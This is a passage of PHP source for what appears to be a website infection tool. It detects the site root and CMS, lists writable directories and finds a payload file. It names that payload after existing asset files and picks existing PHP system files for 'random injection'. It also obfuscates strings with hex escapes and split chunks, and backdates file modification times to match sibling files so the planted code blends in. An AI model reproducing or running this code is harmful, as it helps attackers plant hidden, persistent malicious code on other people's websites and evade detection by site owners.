        _log('INFO', 'mtime blend (' . basename($filePath) . '): no siblings → random past: ' . date('Y-m-d', $target));
        $ok = @touch($filePath, $target);
        _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)'));
        return $ok;
    }

    $mtimes = array();
    foreach ($siblings as $f) {
        if ($f === '.' || $f === '..') continue;
        if (substr($f, -$extLen) !== $ext) continue;
        $full = $dir . '/' . $f;
        if (realpath($full) === realpath($filePath)) continue;
        $mt = @filemtime($full);
        if ($mt !== false) $mtimes[] = $mt;
    }

    if (empty($mtimes)) {
        $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400);
        _log('INFO', 'mtime blend (' . basename($filePath) . '): no same-ext siblings → random past: ' . date('Y-m-d', $target));
    } else {
        $counts = array_count_values($mtimes);
        arsort($counts);
        $target = _me_first_key($counts);
        $majority = reset($counts);
        _log('INFO', 'mtime blend (' . basename($filePath) . '): ' . count($mtimes) . ' siblings, majority=' . $majority . '/' . count($mtimes) . ' → ' . date('Y-m-d H:i:s', $target));
    }

    $ok = @touch($filePath, $target);
    _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)'));
    return $ok;
}

function detect_site_root($scriptDir) {

    global $SITE_ROOT;
    if (!empty($SITE_ROOT)) {
        $r = rtrim(str_replace('\\', '/', realpath($SITE_ROOT) ? realpath($SITE_ROOT) : $SITE_ROOT), '/');
        if (is_dir($r)) {
            _log('INFO', 'Root from config: ' . $r);
            return $r;
        }
    }

    $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/');
    $maxDepth = 10;
    $depth = 0;

    while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) {
        $score = 0;

        if (is_file("$dir/index.php")) {
            $score += 2;
        }

        foreach (CMS_SIGNATURES() as $sig) {
            if (is_file("$dir/$sig")) {
                $score += 5;

                $cmsName = cms_name_for_signature($sig);
                if ($cmsName === 'generic') {
                    $suffix = ' (CMS: generic)';
                } elseif ($cmsName !== '' && cms_content_confirms($cmsName, $dir)) {
                    $suffix = " (CMS: $cmsName)";
                } else {
                    $suffix = ' (Unknown CMS)';
                }
                _log('INFO', "Found CMS signature at depth $depth: $sig$suffix");
                break; 
            }
        }

        foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'misc', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) {
            if (is_dir("$dir/$sub")) {
                $score += 3;
                break;
            }
        }

        if ($score >= 7) {

            $entry = null;
            if (is_file("$dir/index.php")) {
                $entry = $dir;
            } else {
                foreach (array('public', 'web', 'pub') as $subEntry) {
                    if (is_file("$dir/$subEntry/index.php")) {
                        $entry = "$dir/$subEntry";
                        break;
                    }
                }
            }
            if ($entry !== null) {
                _log('INFO', "Root from walk-up (score=$score, entry=$entry): $dir");
                return $entry;
            }
            _log('INFO', "CMS project root (score=$score, no index.php): $dir - continuing up");
            $parent = dirname($dir);
            if ($parent === $dir) break;
            $dir = $parent;
            $depth++;
            continue;
        }

        if ($score >= 2) {

            $parent = dirname($dir);
            if ($parent === $dir) break;
            $dir = $parent;
            $depth++;
            continue;
        }

        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
        $depth++;
    }

    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $r = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');

        if (is_dir($r) && (is_file("$r/index.php") || is_file("$r/index.html"))) {
            _log('INFO', 'Root from DOCUMENT_ROOT: ' . $r);
            return $r;
        }
        _log('INFO', 'DOCUMENT_ROOT exists but no index.php/index.html found: ' . $r);
    }

    $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/');
    $depth = 0;
    $htmlRoot = null;
    while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) {
        if (is_file("$dir/index.php")) {
            _log('INFO', 'Root from index.php walk-up: ' . $dir);
            return $dir;
        }
        if ($htmlRoot === null && is_file("$dir/index.html")) {
            $htmlRoot = $dir;   
        }
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
        $depth++;
    }
    if ($htmlRoot !== null) {
        _log('INFO', 'Root from index.html walk-up (static site): ' . $htmlRoot);
        return $htmlRoot;
    }

    if (is_file("$scriptDir/index.php")) {
        _log('INFO', 'Root from script dir (index.php exists): ' . $scriptDir);
        return $scriptDir;
    }

    if (!empty($_SERVER['SCRIPT_FILENAME'])) {
        $d = dirname($_SERVER['SCRIPT_FILENAME']);
        $d = rtrim(str_replace('\\', '/', $d), '/');
        if (is_dir($d) && is_file("$d/index.php")) {
            _log('INFO', 'Root from SCRIPT_FILENAME: ' . $d);
            return $d;
        }
    }

    _log('ERROR', 'Could not auto-detect site root.');
    _log('ERROR', 'Please set $SITE_ROOT manually in the script.');
    return null;
}

function process_writable_dir($fullPath, $siteRoot, &$resourceDirs, &$otherDirs) {

    $basename = basename($fullPath);
    if (in_array($basename, SKIP_DIRS())) return false;
    if (strpos($fullPath, '/.git/') !== false || strpos($fullPath, '/.svn/') !== false) return false;
    if (strpos($fullPath, '/node_modules/') !== false || strpos($fullPath, '/vendor/') !== false) return false;
    if (!is_writable($fullPath)) return false;

    $relPath = substr($fullPath, strlen($siteRoot) + 1);
    if ($relPath === false || $relPath === '') $relPath = '.';

    $files = @scandir($fullPath);
    if (!$files) return false;
    $files = array_diff($files, array('.', '..'));
    $nonPhpNames = array();
    $phpNames = array();
    foreach ($files as $f) {
        if (!is_file("$fullPath/$f")) continue;
        $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
        if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') {
            $phpNames[] = $f;
        } else {
            $nonPhpNames[] = $f;
        }
    }

    $fileNames = array_slice(array_merge($nonPhpNames, $phpNames), 0, 10);
    $filesStr = implode(',', $fileNames);

    $isResource = false;
    $lowerPath = strtolower($relPath);
    foreach (RESOURCE_KEYWORDS() as $kw) {
        if (strpos($lowerPath, $kw) !== false) { $isResource = true; break; }
    }

    if ($isResource) {
        $resourceDirs[$relPath] = $filesStr;
    } else {
        $otherDirs[$relPath] = $filesStr;
    }
    return true;
}

function scan_writable_tree($dir, $siteRoot, &$resourceDirs, &$otherDirs, $maxScan) {

    if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false;

    process_writable_dir($dir, $siteRoot, $resourceDirs, $otherDirs);

    $entries = @scandir($dir);
    if ($entries === false) return true;   

    foreach ($entries as $e) {
        if ($e === '.' || $e === '..') continue;
        if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false;
        $fullPath = str_replace('\\', '/', "$dir/$e");
        if (!is_dir($fullPath)) continue;
        if (scan_writable_tree($fullPath, $siteRoot, $resourceDirs, $otherDirs, $maxScan) === false) {
            return false;
        }
    }
    return true;
}

function collect_resource_folders($siteRoot, $resourceLimit, $writeCount) {

    $resourceDirs = array();
    $otherDirs    = array();
    $siteRoot = rtrim($siteRoot, '/');
    $maxScan  = max($resourceLimit * 10, 500);
    _log('INFO', 'Collecting resource folders (target=' . $resourceLimit . ' resource, write=' . $writeCount . ')...');

    scan_writable_tree($siteRoot, $siteRoot, $resourceDirs, $otherDirs, $maxScan);

    _log('INFO', 'Scanned writable dirs: ' . count($resourceDirs) . ' resource + ' . count($otherDirs) . ' other');

    $result = array();
    $resKeys = array_keys($resourceDirs);
    shuffle($resKeys);
    foreach (array_slice($resKeys, 0, $resourceLimit) as $k) {
        $result[$k] = $resourceDirs[$k];
    }

    $needed = $resourceLimit - count($result);
    if ($needed > 0 && !empty($otherDirs)) {
        $othKeys = array_keys($otherDirs);
        shuffle($othKeys);
        foreach (array_slice($othKeys, 0, $needed) as $k) {
            $result[$k] = $otherDirs[$k];
        }
        _log('INFO', 'Resource folders short by ' . $needed . ' - filled from other writable dirs');
    }

    _log('INFO', 'Collected ' . count($result) . ' folders (write target: ' . $writeCount . ')');
    return $result;
}

function find_payload_file($scriptDir, $override) {

    if (!empty($override)) {
        $path = $override;
        if (is_file($path)) return $path;
        $path = "$scriptDir/$override";
        if (is_file($path)) return $path;
        _log('ERROR', "Specified payload file not found: $override");
        return null;
    }

    $matches = array();
    $files = @scandir($scriptDir);
    if ($files) {
        foreach ($files as $f) {
            if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) {
                $matches[] = $f;
            }
        }
    }
    if (count($matches) === 1) {
        _log('INFO', "Auto-detected payload: " . $matches[0]);
        return "$scriptDir/" . $matches[0];
    }
    if (count($matches) > 1) {
        _log('ERROR', 'Multiple payload files found (' . count($matches) . '): ' . implode(', ', $matches) . '. Keep only ONE xxxx-xxxx.txt and run again - the script will NOT delete itself.');
        return null;
    }

    _log('ERROR', 'No payload file found. Expected a file matching xxxx-xxxx.txt (e.g. 34001-xf009.txt) in: ' . $scriptDir . '. Re-upload the payload and run again - the script will NOT delete itself.');
    return null;
}

function generate_random_filename($existingFiles, $filesStr) {

    $existingNames = explode(',', $filesStr);
    $existingNames = array_filter($existingNames, '_me_nzstr');

    $nonPhpTemplates = array();
    $phpTemplates = array();
    foreach ($existingNames as $n) {
        $ext = strtolower(pathinfo($n, PATHINFO_EXTENSION));
        if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') {
            $phpTemplates[] = $n;
        } else {
            $nonPhpTemplates[] = $n;
        }
    }

    $usingPhpFallback = empty($nonPhpTemplates);
    $templatePool = $usingPhpFallback ? $phpTemplates : $nonPhpTemplates;

    $nonPhpExts = array_values(array_filter(RESOURCE_EXTS(), '_me_nonphp_ext'));
    if (empty($nonPhpExts)) $nonPhpExts = array('.css', '.js', '.png'); 

    if (empty($templatePool)) {

        $prefixes = array('style', 'script', 'default', 'main', 'app', 'core', 'common', 'base', 'index', 'front');
        $prefix = $prefixes[array_rand($prefixes)];
        $ext = $nonPhpExts[array_rand($nonPhpExts)];
        return $prefix . '-' . substr(md5(crypto_rand_int(0, 999999)), 0, 8) . $ext;
    }

    $template = $templatePool[array_rand($templatePool)];
    $tplInfo = pathinfo($template);
    $tplExt = isset($tplInfo['extension']) ? '.' . $tplInfo['extension'] : '';
    $tplName = $tplInfo['filename'];

    if ($usingPhpFallback && preg_match('/\.php$/i', $tplExt)) {
        $tplExt = $nonPhpExts[array_rand($nonPhpExts)];
    }

    $suffix = '';
    if (preg_match('/\.min$/', $tplName)) {
        $suffix = '.min';
        $tplName = preg_replace('/\.min$/', '', $tplName);
    }

    if (preg_match('/-rtl$/', $tplName)) {
        $suffix = '-rtl' . $suffix;
        $tplName = preg_replace('/-rtl$/', '', $tplName);
    }

    $variations = array(
        $tplName . '-vendor' . $suffix . $tplExt,
        $tplName . '-core' . $suffix . $tplExt,
        $tplName . '-bundle' . $suffix . $tplExt,
        $tplName . '-lib' . $suffix . $tplExt,
        $tplName . '-assets' . $suffix . $tplExt,
        'vendor-' . $tplName . $suffix . $tplExt,
        'core-' . $tplName . $suffix . $tplExt,
    );

    shuffle($variations);
    foreach ($variations as $name) {
        if (!in_array($name, $existingNames)) {
            return $name;
        }
    }

    $hex = substr(md5(crypto_rand_int(0, 999999)), 0, 8);
    return $tplName . '-' . $hex . $suffix . $tplExt;
}

function obfuscate_string($s, $hexProb = 0.85, $octProb = 0.00) {

    $result = '';
    $len = strlen($s);
    $prevWasHex = false;
    for ($i = 0; $i < $len; $i++) {
        $ch = $s[$i];
        $ord = ord($ch);
        $nextIsDigit = ($i + 1 < $len && ctype_digit($s[$i + 1]));
        $isHexDigit = ctype_xdigit($ch);
        $r = mt_rand(0, 1000000) / 1000000.0;

        $useOct = ($r >= $hexProb && $r < $hexProb + $octProb) && !$nextIsDigit;

        $forceHex = $prevWasHex && $isHexDigit;

        if ($r < $hexProb || ($nextIsDigit && $r < $hexProb + $octProb) || $forceHex) {
            $result .= '\x' . str_pad(dechex($ord), 2, '0', STR_PAD_LEFT);
            $prevWasHex = true;
        } elseif ($useOct) {
            $result .= '\\' . str_pad(decoct($ord), 3, '0', STR_PAD_LEFT);
            $prevWasHex = false;
        } else {
            $result .= $ch;
            $prevWasHex = false;
        }
    }
    return $result;
}

$_CMS_CWD_TYPE = 'unknown'; 

function detect_cms_cwd_type($siteRoot) {
    $indexPath = str_replace('//', '/', "$siteRoot/index.php");
    if (!is_file($indexPath)) return 'unknown';

    $content = @file_get_contents($indexPath);

    if ($content === false || strlen($content) < 10) {
        if (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) {
            _log('INFO', 'CMS detected: WordPress (CWD=root, empty/short index.php) → using relative paths');
            return 'root';
        }
        return 'unknown';
    }

    if (preg_match('/WP_USE_THEMES|wp-blog-header\.php|wp-load\.php/i', $content)) {
        _log('INFO', 'CMS detected: WordPress (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)) {
        _log('INFO', 'CMS detected: Joomla (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b|\bdrupal_bootstrap\b/i', $content)) {
        _log('INFO', 'CMS detected: Drupal (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/startup\.php|\bDIR_SYSTEM\b|\bregistry\b/i', $content)) {
        _log('INFO', 'CMS detected: OpenCart (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/config\/config\.inc\.php|\b_PS_VERSION_\b/i', $content)) {
        _log('INFO', 'CMS detected: PrestaShop (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/\bdiscuz_application\b|\bdiscuz_core\b|\bdiscuz\b|\bC::app\(\)/i', $content)) {
        _log('INFO', 'CMS detected: Discuz! (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/\bCI_VERSION\b|\bBASEPATH\b/i', $content)) {
        _log('INFO', 'CMS detected: CodeIgniter (CWD=root) → using relative paths');
        return 'root';
    }

    if (preg_match('/Magento\\\\Framework\b|\bBP\b.*dirname|dirname.*\bBP\b/i', $content)) {
        _log('INFO', 'CMS detected: Magento 2 (CWD=pub/) → using $_SERVER approach');
        return 'subdir';
    }

    if (preg_match('/\bIlluminate\b|\blaravel\b|\$app\s*=\s*require_once/i', $content)) {
        _log('INFO', 'CMS detected: Laravel (CWD=public/) → using $_SERVER approach');
        return 'subdir';
    }

    if (preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content)) {
        _log('INFO', 'CMS detected: Symfony (CWD=public/) → using $_SERVER approach');
        return 'subdir';
    }

    if (preg_match('/think\\\\App\b|think\\\\Container\b|\bContainer::get\b|\bthinkphp\b/i', $content)) {
        _log('INFO', 'CMS detected: ThinkPHP (CWD=public/) → using $_SERVER approach');
        return 'subdir';
    }

    if (preg_match('/yii\\\\base\b|yii\\\\web\b|\bYii\b.*require/i', $content)) {
        _log('INFO', 'CMS detected: Yii2 (CWD=web/) → using $_SERVER approach');
        return 'subdir';
    }

    _log('INFO', 'CMS type unknown - using safe $_SERVER approach');
    return 'unknown';
}

function file_has_marker($path, $markers, $caseInsensitive = false) {

    if (!is_file($path)) return false;
    $c = @file_get_contents($path, false, null, 0, 65536);
    if ($c === false || $c === '') return false;
    foreach ((array)$markers as $m) {
        if ($caseInsensitive) {
            if (stripos($c, $m) !== false) return true;
        } else {
            if (strpos($c, $m) !== false) return true;
        }
    }
    return false;
}

function cms_content_confirms($cmsType, $siteRoot, $projectRoot = '') {

    switch ($cmsType) {
        case 'wordpress':
            return file_has_marker("$siteRoot/wp-config.php", array('wp-settings.php', 'DB_NAME', 'table_prefix', 'WP_DEBUG'))
                || file_has_marker("$siteRoot/wp-blog-header.php", array('wp-load.php', 'WordPress'))
                || is_file("$siteRoot/wp-settings.php")
                || is_file("$siteRoot/wp-load.php");
        case 'joomla':
            return file_has_marker("$siteRoot/configuration.php", array('_JEXEC', 'JConfig', 'JPATH_BASE'))
                || file_has_marker("$siteRoot/includes/app.php", array('_JEXEC', 'JFactory'))
                || file_has_marker("$siteRoot/libraries/loader.php", array('JLoader', 'JFactory'));
        case 'drupal':
            return file_has_marker("$siteRoot/sites/default/settings.php", array('$databases', 'DRUPAL_ROOT', 'drupal'))
                || file_has_marker("$siteRoot/core/lib/Drupal.php", array('namespace Drupal', 'class Drupal'))
                || file_has_marker("$siteRoot/autoload.php", array('Drupal', 'drupal'), true);
        case 'magento2':
            return is_file("$siteRoot/app/etc/env.php") || is_file("$siteRoot/app/etc/config.php")
                || ($projectRoot !== '' && (is_file("$projectRoot/app/etc/env.php") || is_file("$projectRoot/app/etc/config.php")));
        case 'magento1':
            return is_file("$siteRoot/app/Mage.php") || is_file("$siteRoot/app/etc/local.xml")
                || ($projectRoot !== '' && (is_file("$projectRoot/app/Mage.php") || is_file("$projectRoot/app/etc/local.xml")));
        case 'laravel':
            return file_has_marker("$siteRoot/artisan", array('Illuminate', 'Laravel', 'Application'), true)
                || ($projectRoot !== '' && file_has_marker("$projectRoot/artisan", array('Illuminate', 'Laravel'), true))
                || file_has_marker("$siteRoot/bootstrap/app.php", array('Illuminate', 'Laravel'), true);
        case 'symfony':
            return file_has_marker("$siteRoot/symfony.lock", array('symfony/'), true)
                || ($projectRoot !== '' && file_has_marker("$projectRoot/symfony.lock", array('symfony/'), true))
                || file_has_marker("$siteRoot/config/bundles.php", array('Symfony'), true);
        case 'yii2':
            return (is_file("$siteRoot/yii") && is_dir("$siteRoot/controllers"))
                || ($projectRoot !== '' && is_file("$projectRoot/yii") && is_dir("$projectRoot/controllers"));
        case 'yii1':
            return is_dir("$siteRoot/protected") && is_file("$siteRoot/protected/config/main.php");
        case 'opencart':
            return file_has_marker("$siteRoot/config.php", array('DIR_APPLICATION', 'DIR_SYSTEM', 'VERSION'))
                && is_dir("$siteRoot/system");
        case 'prestashop':
            return file_has_marker("$siteRoot/config/settings.inc.php", array('_PS_VERSION_', 'COOKIE_KEY', '_CAN_LOAD_FILES_'), true);
        case 'codeigniter':
            return is_dir("$siteRoot/system")
                && file_has_marker("$siteRoot/system/index.php", array('BASEPATH', 'CodeIgniter', 'core/CodeIgniter.php'), true);
        case 'discuz':
            return is_dir("$siteRoot/source") && is_dir("$siteRoot/uc_client");
        case 'thinkphp':
            return is_dir("$siteRoot/thinkphp");
    }
    return false;
}

function detect_cms_type($siteRoot) {

    $indexPath = str_replace('//', '/', "$siteRoot/index.php");
    $projectRoot = dirname($siteRoot);
    if ($projectRoot === $siteRoot) $projectRoot = '';
    $content = '';
    if (is_file($indexPath)) {
        $content = @file_get_contents($indexPath);
    }

    if ((is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php"))
        && (cms_content_confirms('wordpress', $siteRoot)
            || ($content && preg_match('/\bWP_USE_THEMES\b|\bwp-blog-header\.php\b/i', $content)))) {
        return 'wordpress';
    }

    if ((is_file("$siteRoot/configuration.php") || is_file("$siteRoot/includes/app.php") || is_file("$siteRoot/libraries/loader.php"))
        && (cms_content_confirms('joomla', $siteRoot)
            || ($content && preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)))) {
        return 'joomla';
    }

    if ((is_file("$siteRoot/sites/default/settings.php") || is_file("$siteRoot/core/lib/Drupal.php") || is_file("$siteRoot/autoload.php"))
        && (cms_content_confirms('drupal', $siteRoot)
            || ($content && preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b/i', $content)))) {
        return 'drupal';
    }

    if (cms_content_confirms('magento2', $siteRoot, $projectRoot)) {
        return 'magento2';
    }

    if (cms_content_confirms('magento1', $siteRoot, $projectRoot)) {
        return 'magento1';
    }

    if (cms_content_confirms('laravel', $siteRoot, $projectRoot)
        || ($content && preg_match('/\bIlluminate\b|\blaravel\b/i', $content))) {
        return 'laravel';
    }

    if (cms_content_confirms('symfony', $siteRoot, $projectRoot)
        || ($content && preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content))) {
        return 'symfony';
    }

    if (cms_content_confirms('yii2', $siteRoot, $projectRoot)) {
        return 'yii2';
    }

    if (cms_content_confirms('yii1', $siteRoot)) {
        return 'yii1';
    }

    if (cms_content_confirms('opencart', $siteRoot)) {
        return 'opencart';
    }

    if (cms_content_confirms('prestashop', $siteRoot)) {
        return 'prestashop';
    }

    if (cms_content_confirms('codeigniter', $siteRoot)) {
        return 'codeigniter';
    }

    if (cms_content_confirms('discuz', $siteRoot)) {
        return 'discuz';
    }

    if (is_dir("$siteRoot/thinkphp") ||
        ($content && preg_match('/think\\\\App\b|think\\\\Container\b/i', $content))) {
        return 'thinkphp';
    }

    return ''; 
}

function compute_relative_path($base, $target) {
    $base = rtrim(str_replace('\\', '/', $base), '/');
    $target = str_replace('\\', '/', $target);
    $baseParts = explode('/', $base);
    $targetParts = explode('/', $target);

    $common = 0;
    $maxCommon = min(count($baseParts), count($targetParts));
    while ($common < $maxCommon && $baseParts[$common] === $targetParts[$common]) {
        $common++;
    }
    $upCount = count($baseParts) - $common;
    $relParts = array_merge(array_fill(0, $upCount, '..'), array_slice($targetParts, $common));
    return implode('/', $relParts);
}

function collect_random_targets($siteRoot, $cmsType, $count) {

    if ($count <= 0) return array();

    $targetCount = $count + 3;

    $dirsToScan = array();
    $siteRoot = rtrim($siteRoot, '/');

    if ($cmsType !== '' && array_key_exists($cmsType, CMS_SYSTEM_DIRS())) {

        $searchRoots = array($siteRoot);
        if ($GLOBALS['_CMS_CWD_TYPE'] === 'subdir') {
            $parentRoot = dirname($siteRoot);
            if ($parentRoot !== $siteRoot && is_dir($parentRoot)) {
                $searchRoots[] = $parentRoot;
            }
        }
        $cmsDirsAll = CMS_SYSTEM_DIRS();
        $cmsDirs = $cmsDirsAll[$cmsType];
        foreach ($cmsDirs as $d) {
            foreach ($searchRoots as $sr) {
                $full = str_replace('//', '/', "$sr/$d");
                if (is_dir($full)) {

                    $dirsToScan[] = $full;
                    break;
                }
            }
        }
    }

    if (empty($dirsToScan)) {
        _log('INFO', 'Unknown CMS or no system dirs found - scanning all root subdirs...');
        $items = @scandir($siteRoot);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $full = "$siteRoot/$item";
                if (!is_dir($full)) continue;

                $skip = array('.git', '.svn', 'node_modules', 'vendor', 'cache', 'tmp', 'temp', 'logs', 'log', 'wp-content', 'media', 'errors', 'pub', 'static', 'skin', 'setup', 'update', 'install', 'tests', 'build', 'dist', 'var', 'generated'); 
                if (in_array($item, $skip)) continue;
                $dirsToScan[] = $item;
            }
        }
    }

    if (empty($dirsToScan)) {
        _log('WARN', 'No system directories to scan for random targets.');
        return array();
    }

    $filesByDir = array();  
    $rootLen = strlen($siteRoot) + 1;
    $perDirLimit = max($targetCount * 5, 10); 
    $totalLimit = $targetCount * 30;

    foreach ($dirsToScan as $dir) {
        $totalCollected = 0;
        foreach ($filesByDir as $fbd) { $totalCollected += count($fbd); }
        if ($totalCollected >= $totalLimit) break;

        $fullDir = (strpos($dir, '/') === 0 || (strlen($dir) > 1 && $dir[1] === ':'))
            ? $dir : "$siteRoot/$dir";
        $fullDir = str_replace('//', '/', $fullDir);
        $filesByDir[$dir] = array();

        try {

            $dotFlags = defined('FilesystemIterator::SKIP_DOTS') ? FilesystemIterator::SKIP_DOTS : 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($fullDir, $dotFlags),
                RecursiveIteratorIterator::SELF_FIRST
            );
        } catch (Exception $e) {
            continue;
        }

        try {

            foreach ($iterator as $item) {
            if (count($filesByDir[$dir]) >= $perDirLimit) break;
            $bn = $item->getFilename();
            if ($bn === '.' || $bn === '..') continue;
            if (!$item->isFile()) continue;

            $ext = strtolower(pathinfo($bn, PATHINFO_EXTENSION));
            if (!in_array($ext, PHP_FILE_EXTS())) continue;
            $fullPath = str_replace('\\', '/', $item->getPathname());
            if (strpos($fullPath, '/vendor/') !== false || strpos($fullPath, '/node_modules/') !== false) continue;
            if (strpos($fullPath, '/cache/') !== false || strpos($fullPath, '/tmp/') !== false) continue;
            $relPath = substr($fullPath, $rootLen);

            if ($relPath === false || $relPath === '' || strpos($fullPath, $siteRoot) !== 0) {
                $relPath = compute_relative_path($siteRoot, $fullPath);
            }
            if ($relPath !== false && $relPath !== '') {

                $testContent = @file_get_contents($fullPath, false, null, 0, 8192);
                if ($testContent === false || strlen(trim($testContent)) === 0) continue;

                $openTagCount = preg_match_all('/' . chr(60) . '\?(?:php|=|\s|[^a-zA-Z])/i', $testContent, $m);
                if ($openTagCount === 0 || $openTagCount > 1) continue;

                $ct = chr(63).chr(62); 
                $lastCt = strrpos($testContent, $ct);
                if ($lastCt !== false && strlen(trim(substr($testContent, $lastCt + 2))) > 0) continue;

                $selfName = basename(_ME_RUNNING_FILE);
                if (basename($fullPath) === $selfName) continue;

                $dirP = dirname($fullPath);
                if (!is_writable($fullPath) && !is_writable($dirP) && !is_dir_chmod_able($dirP)) continue;
                $filesByDir[$dir][] = $relPath;
            }
            }
        } catch (UnexpectedValueException $e) {
            _log('WARN', 'Unreadable subdirectory under ' . $fullDir . ' - skipping remaining files there: ' . $e->getMessage());
        }
    }

    $filesByDir = array_filter($filesByDir, '_me_nzarr');

    if (empty($filesByDir)) {
        _log('WARN', 'No injectable PHP files found in system directories (both file and its directory not writable? permissions?) - random injection skipped.');
        return array();
    }

    foreach ($filesByDir as &$fbd) { shuffle($fbd); }
    unset($fbd);
    $dirKeys = array_keys($filesByDir);
    shuffle($dirKeys);

    $selected = array();
    $dirIdx = 0;
    while (count($selected) < $targetCount && !empty($dirKeys)) {
        $d = $dirKeys[$dirIdx % count($dirKeys)];
        if (!empty($filesByDir[$d])) {
            $selected[] = array_shift($filesByDir[$d]);
        }

        if (empty($filesByDir[$d])) {
            $newKeys = array();
            foreach ($dirKeys as $k) { if ($k !== $d) $newKeys[] = $k; }
            $dirKeys = $newKeys;
            if (empty($dirKeys)) break;
            $dirIdx = 0;
        } else {
            $dirIdx++;
        }

        if ($dirIdx > count($dirKeys) * 2) break;
    }

    if (count($selected) < $targetCount) {
        $remaining = array();
        foreach ($filesByDir as $fbd) { $remaining = array_merge($remaining, $fbd); }
        shuffle($remaining);
        while (count($selected) < $targetCount && !empty($remaining)) {
            $selected[] = array_shift($remaining);
        }
    }

    $targets = array();
    foreach ($selected as $relPath) {
        $targets[] = array('type' => 'rand', 'path' => $relPath);
    }

    $totalCandidates = 0;
    foreach ($filesByDir as $fbd) { $totalCandidates += count($fbd); }
    $totalCandidates += count($selected); 
    _log('INFO', 'Random targets: collected from ' . count($filesByDir) . ' dirs, selected ' . count($targets));

    return array_slice($targets, 0, $count);
}

function pick_distributed($pool, $count) {

    if (empty($pool) || $count <= 0) return array();

    $byTopDir = array();
    foreach ($pool as $key => $value) {
        $lastSlash = strrpos($key, '/');
        $parent = ($lastSlash !== false) ? substr($key, 0, $lastSlash) : $key;
        if (!isset($byTopDir[$parent])) $byTopDir[$parent] = array();
        $byTopDir[$parent][$key] = $value;
    }

    foreach ($byTopDir as &$entries) {
        $keys = array_keys($entries);
        shuffle($keys);
        $shuffled = array();
        foreach ($keys as $k) { $shuffled[$k] = $entries[$k]; }
        $entries = $shuffled;
    }
    unset($entries);

    $groups = array_keys($byTopDir);
    shuffle($groups);

    $selected = array();
    $groupIdx = 0;
    while (count($selected) < $count && !empty($groups)) {
        $g = $groups[$groupIdx % count($groups)];
        if (!empty($byTopDir[$g])) {
            $key = _me_first_key($byTopDir[$g]);
            $selected[$key] = $byTopDir[$g][$key];
            unset($byTopDir[$g][$key]);
        }
        if (empty($byTopDir[$g])) {
            $newGroups = array();
            foreach ($groups as $gr) { if ($gr !== $g) $newGroups[] = $gr; }
            $groups = $newGroups;
            if (empty($groups)) break;
            $groupIdx = 0;
        } else {
            $groupIdx++;
        }
    }
    return $selected;
}

function folder_is_writable($siteRoot, $relFolder) {
    $full = str_replace('//', '/', $siteRoot . '/' . $relFolder);
    $ok = is_dir($full) && is_writable($full);
    _log('DEBUG', "Folder check: $relFolder -> " . ($ok ? 'OK' : 'FAIL'));
    return $ok;
}

function pick_from_common_folders($siteRoot, $count) {

    $common = COMMON_FOLDERS();

    $writable = array();
    foreach ($common as $rel => $files) {
        if (folder_is_writable($siteRoot, $rel)) {
            $writable[$rel] = $files;
        }
    }

    return pick_distributed($writable, $count);
}

function obfuscate_chunked($str, $minComments = 3, $maxComments = 6) {

    if ($str === '') return '""';

    $first = $str[0];
    if ($first === '"' || $first === '\\' || $first === '$' || $first === "\n"
        || $first === "\r" || $first === "\t" || $first === "\0") {
        $firstEsc = '\\' . $first;   
    } else {
        $firstEsc = $first;
    }
    $firstTok = '"' . $firstEsc . '"';
    $head = (string)substr($str, 1);

    $esc = '';
    $len = strlen($head);
    for ($i = 0; $i < $len; $i++) {
        $esc .= '\x' . str_pad(dechex(ord($head[$i])), 2, '0', STR_PAD_LEFT);
    }

    $tokens = $esc === '' ? array() : str_split($esc, 4);
    $chunks = array();
    $n = count($tokens);
    $i = 0;
    while ($i < $n) {
        $take = min(mt_rand(2, 4), $n - $i);
        $chunks[] = '"' . implode('', array_slice($tokens, $i, $take)) . '"';
        $i += $take;
    }

    array_unshift($chunks, $firstTok);

    $out = $chunks[0];
    $joins = count($chunks) - 1;
    if ($joins <= 0) return $out;

    $cmtCount = min(mt_rand($minComments, $maxComments), $joins);
    if ($cmtCount < 1) $cmtCount = 1;   

    $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&()_+-=[]{};:\'\" ,.<';
    $cl = strlen($charset);
